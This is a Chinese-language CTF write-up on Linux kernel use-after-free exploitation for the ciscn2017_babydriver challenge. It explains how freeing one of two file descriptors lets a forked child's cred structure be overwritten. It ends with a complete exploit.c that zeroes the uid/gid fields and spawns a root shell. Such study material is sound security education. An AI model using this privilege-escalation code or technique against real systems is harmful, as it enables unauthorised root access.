linux kernel pwn學習之UAF

Linux Kernel UAF

與用戶態下的glibc差不多,都是對已經釋放的空間未申請就直接使用,內核的UAF往往是出現在多線程多進程多文件的情況下。即,假如某個用戶程序對用一個內核驅動文件打開了兩次,有兩個文件描述符,它們都指向了該驅動,又因爲是在同一個程序裏,所以當我們釋放掉其中一個文件描述符後,還可以使用另一個文件描述符來操控驅動。

爲了加深理解,我們就以一題爲例

ciscn2017_babydriver

我們用IDA分析一下驅動程序,ioctl函數定義了一個交互命令0x10001,作用是釋放之前的堆,申請一個用戶指定大小的堆。

在單文件的情況下,沒有問題,加入我們在程序裏,對該驅動程序,打開了兩個文件描述符,先利用第一個文件描述符來與驅動交互,申請一個堆。然後關閉第一個文件描述符。在關閉文件描述符時,對應的close函數會被調用

該函數釋放了堆。然而,我們仍然可以使用第二個文件描述符來對這個堆進行讀寫操作。,這就造成了UAF

Linux kernel 使用slab/slub來分配內存,與glibc下的ptmalloc相同點是,如果在空閒的堆裏存在符合申請的大小的堆,則直接把這個堆處理後返回給申請方。爲了提權,關鍵就是修改進程的cred結構,而進程的cred結構也是保存在堆裏,進程創建時,就會申請cred結構的空間,來存放cred結構。如果cred結構申請到我們能控制的空間裏,那麼我們就能自由修改cred結構,實現提權。

爲了實現這個目的,我們可以申請一個與cred結構大小相等的堆,然後釋放掉。這樣,如果我們接下來fork一個子進程,那麼子進程申請cred結構的空間時,發現空閒堆裏有符合的堆,則拿過來用,而這個堆正是我們UAF能夠控制的。利用UAF,把cred結構裏的uidgid等覆蓋爲0,即可得到root權限。至於cred的大小如何確定,有兩種方法,第一種是查看對應版本的linux內核源碼;第二種則是寫一個簡易的c語言程序,輸出cred的大小。

本題的linux內核版本爲4.4.72cred結構大小爲0xA8

知道了以上的原理後,我們就可以編寫exploit.c程序來提權了。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

int main() {
   int fd1 = open("/dev/babydev",O_RDWR);
   int fd2 = open("/dev/babydev",O_RDWR);
   char buf[30];
   if (fd1 < 0 || fd2 < 0) {
      printf("open file error!!\n");
      exit(-1);
   }
   //申請一個與cred結構體大小一樣的堆
   ioctl(fd1,0x10001,0xA8);
   //釋放這個堆
   close(fd1);
   int pid = fork();
   if (pid < 0) {
      printf("[-]fork error!!\n");
      exit(-1);
   } else if (pid == 0) { //子進程
      //UAF,通過fd2,覆蓋子進程的cred結構裏的幾個uid、gid
      memset(buf,0,28);
      write(fd2,buf,28);
      if (getuid() == 0) {
         printf("[+]rooted!!\n");
         system("/bin/sh");
      }
   } else { //父進程等待子進程結束
      wait(NULL);
   }
   close(fd2);
   return 0;
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章